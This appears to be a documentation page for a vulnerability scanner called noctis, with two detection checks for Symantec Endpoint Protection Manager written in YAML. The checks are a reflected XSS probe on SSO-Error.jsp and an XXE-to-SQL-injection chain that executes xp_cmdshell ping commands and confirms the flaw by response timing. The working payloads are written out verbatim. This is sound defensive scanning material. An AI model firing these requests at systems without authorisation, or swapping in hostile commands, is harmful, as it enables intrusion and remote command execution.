Symantec Endpoint Protection Manager — 2 vulnerability checks
noctis ships 2 vulnerability checks for Symantec Endpoint Protection Manager, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Symantec Endpoint Protection Manager SSO-Error.jsp reflected XSS
| CVE | CVE-2014-3437, CVE-2014-3439, CVE-2014-3438 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | xss — XSS |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/symantec-sepm/CVE-2014-3437.yaml |
Checks that the host runs Symantec Endpoint Protection Manager, puts a script tag in the ErrorMsg parameter of SSO-Error.jsp and reports when it is echoed back unescaped.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Checks
gate.bannerfor>Symantec Endpoint Protection Manager< - Raw TCP (TLS on HTTPS), sent verbatim:
GET /console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert(document.cookie)</scrip… - Checks
resp.bannerfor(?s)<script>alert\(document\.cookie\)</script>.*>SSO Error<→ finding QoD 75: SEPM SSO-Error.jsp echoed the ErrorMsg script tag unescaped: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-3437
- https://nvd.nist.gov/vuln/detail/CVE-2014-3439
- https://nvd.nist.gov/vuln/detail/CVE-2014-3438
Feed source — tests/vulnerabilities/symantec-sepm/CVE-2014-3437.yaml
uid: 86eb54bf-e33f-4528-9547-efe4a2226231
name: "Symantec Endpoint Protection Manager SSO-Error.jsp reflected XSS (CVE-2014-3437)"
description: "Checks that the host runs Symantec Endpoint Protection Manager, puts a script tag in the ErrorMsg parameter of SSO-Error.jsp and reports when it is echoed back unescaped."
cves: [CVE-2014-3437, CVE-2014-3439, CVE-2014-3438]
cvss: 7.5
severity: high
category: xss
confidence_base: 0.3
tags: [openvas-migrated, http, symantec-sepm]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3437"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3439"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3438"
- "OpenVAS NASL 2014/gb_sepm_mult_vuln_dec14.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2014/gb_sepm_mult_vuln_dec14.nasl (GPL-2.0-only).
steps:
- id: seed
action: set_var
var_name: product
var_value: false
- id: gate_probe
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: gate
- id: gate_match
action: match
source: gate.banner
pattern: ">Symantec Endpoint Protection Manager<"
on_match:
set_vars:
product: true
- id: exploit
action: tcp_connect
port: "{{port}}"
send: "GET /console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert(document.cookie)</script> HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: "(?s)<script>alert\\(document\\.cookie\\)</script>.*>SSO Error<"
condition: "product"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "SEPM SSO-Error.jsp echoed the ErrorMsg script tag unescaped: {{resp.banner}}"
stop: trueSymantec Endpoint Protection Manager XXE -> SQL Injection
| CVE | CVE-2013-5014, CVE-2013-5015 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/symantec-sepm/CVE-2013-5014.yaml |
Confirms the Symantec Endpoint Protection Manager (SEPM) XXE + SQL injection chain in servlet/ConsoleServlet. An external XML entity reaches the internal ConfigServer test_av action, whose SequenceNum/Parameter is SQL-injectable and permits xp_cmdshell execution. Detection is time-based blind: the feed injects `ping -n 4` then `ping -n 6` and requires both responses to be delayed within [i, i+5] second windows, proving the injected command executed.
How noctis detects it
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /servlet/ConsoleServlet?ActionType=ConsoleLogwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /servlet/ConsoleServlet?ActionType=ConsoleLogwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
verdictforCONFIRMED→ finding QoD 97: SEPM XXE->SQLi xp_cmdshell command execution confirmed by differential timing: round 1 (ping -n 4) delayed … ms (window 3000-8000), round 2…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-5014
- https://nvd.nist.gov/vuln/detail/CVE-2013-5015
- https://www.exploit-db.com/exploits/31853
Feed source — tests/vulnerabilities/symantec-sepm/CVE-2013-5014.yaml
# Symantec Endpoint Protection Manager XXE -> SQL Injection — CVE-2013-5014 / CVE-2013-5015
#
# SEPM's servlet/ConsoleServlet (ActionType=ConsoleLog) parses attacker XML and
# resolves an external entity (XXE, CVE-2013-5014). The entity points back at the
# internal ConfigServer action=test_av endpoint, whose SequenceNum/Parameter is
# SQL-injectable (CVE-2013-5015), allowing `call xp_cmdshell(...)` on the backing
# MSSQL instance. The chain is confirmed *blind*, by time: the injected
# `xp_cmdshell('ping -n N 127.0.0.1')` blocks the response for ~N-1 seconds.
#
# Detection (faithful port of the NASL vuldetect):
# 1. Fingerprint GET / for ">Symantec Endpoint Protection Manager<"
# and "Symantec Corporation<" (gate only — never a finding on its own).
# 2. Two timing rounds against /servlet/ConsoleServlet?ActionType=ConsoleLog
# with the exact multipart XXE+SQLi body, injecting `ping -n 4` (~3 s) then
# `ping -n 6` (~5 s). A host is vulnerable only when BOTH responses are
# delayed inside [i, i+5] s (i.e. 3000-8000 ms, then 5000-10000 ms), exactly
# as the NASL requires. The differential delay proves the injected command
# ran — not product presence, not a reflected input.
# A patched manager serves the same fingerprint and the same ConsoleServlet
# endpoint but does not execute the payload, so neither round is delayed.
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_symantec_epm_xxe_n_sql_inj_vuln.nasl
# (script_oid 1.3.6.1.4.1.25623.1.0.804513, GPL-2.0-only) — same endpoint, method,
# multipart body, XXE entity, xp_cmdshell SQLi payload and [i, i+5] timing windows.
uid: 91c820bd-7174-4612-94ae-c5717e664fca
name: "Symantec Endpoint Protection Manager XXE -> SQL Injection (CVE-2013-5014/CVE-2013-5015)"
description: |
Confirms the Symantec Endpoint Protection Manager (SEPM) XXE + SQL injection chain in
servlet/ConsoleServlet. An external XML entity reaches the internal ConfigServer
test_av action, whose SequenceNum/Parameter is SQL-injectable and permits xp_cmdshell
execution. Detection is time-based blind: the feed injects `ping -n 4` then `ping -n
6` and requires both responses to be delayed within [i, i+5] second windows, proving
the injected command executed.
cves: [CVE-2013-5014, CVE-2013-5015]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [symantec, sepm, endpoint-protection, xxe, sqli, rce, web]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5014"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5015"
- "https://www.exploit-db.com/exploits/31853"
- "OpenVAS/Greenbone NASL 2014/gb_symantec_epm_xxe_n_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# ── state init (Rhai conditions below read these; init before use) ──────────
- id: init-round1-ok
action: set_var
var_name: round1_ok
var_value: false
- id: init-round2-ok
action: set_var
var_name: round2_ok
var_value: false
- id: init-verdict
action: set_var
var_name: verdict
var_value: "unconfirmed"
- id: init-is-sepm
action: set_var
var_name: is_sepm
var_value: false
# ── Stage 1: fingerprint the product (gate only — not a finding) ────────────
- id: fingerprint
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fp
- id: detect-sepm
action: script
code: |
is_sepm = fp.body.contains(">Symantec Endpoint Protection Manager<") && fp.body.contains("Symantec Corporation<");
# ── Stage 2 round 1: XXE->SQLi xp_cmdshell('ping -n 4') — expect ~3 s delay ──
- id: xxe-sqli-round1
action: http_request
condition: "is_sepm"
method: POST
path: "/servlet/ConsoleServlet?ActionType=ConsoleLog"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
headers:
Accept-Encoding: "identity"
Content-Type: "multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""
body: "------=_Part_156_33010715.1234\r\nContent-Type: text/xml\r\nContent-Disposition: form-data; name=\"Content\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE sepm [<!ENTITY payload SYSTEM \"http://127.0.0.1:{{port}}/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('ping -n 4 127.0.0.1');--\" >]>\r\n<request>\r\n<xxe>&payload;</xxe>\r\n</request>\r\n------=_Part_156_33010715.1234--"
store_as: r1
- id: eval-round1
action: script
condition: "is_sepm"
code: |
round1_ok = r1.duration_ms >= 3000 && r1.duration_ms <= 8000;
# ── Stage 2 round 2: xp_cmdshell('ping -n 6') — expect ~5 s delay ───────────
- id: xxe-sqli-round2
action: http_request
condition: "round1_ok"
method: POST
path: "/servlet/ConsoleServlet?ActionType=ConsoleLog"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
headers:
Accept-Encoding: "identity"
Content-Type: "multipart/form-data; boundary=\"----=_Part_156_33010715.1234\""
body: "------=_Part_156_33010715.1234\r\nContent-Type: text/xml\r\nContent-Disposition: form-data; name=\"Content\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE sepm [<!ENTITY payload SYSTEM \"http://127.0.0.1:{{port}}/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('ping -n 6 127.0.0.1');--\" >]>\r\n<request>\r\n<xxe>&payload;</xxe>\r\n</request>\r\n------=_Part_156_33010715.1234--"
store_as: r2
- id: eval-round2
action: script
condition: "round1_ok"
code: |
round2_ok = r2.duration_ms >= 5000 && r2.duration_ms <= 10000;
# ── verdict: vulnerable only when BOTH injected commands delayed as expected ─
- id: set-verdict
action: script
condition: "round1_ok && round2_ok"
code: |
verdict = "CONFIRMED time-based blind xp_cmdshell injection";
- id: confirm
action: match
source: verdict
pattern: "CONFIRMED"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "SEPM XXE->SQLi xp_cmdshell command execution confirmed by differential timing: round 1 (ping -n 4) delayed {{r1.duration_ms}} ms (window 3000-8000), round 2 (ping -n 6) delayed {{r2.duration_ms}} ms (window 5000-10000). Injected command executed; detection is not product presence or reflected input."
stop: true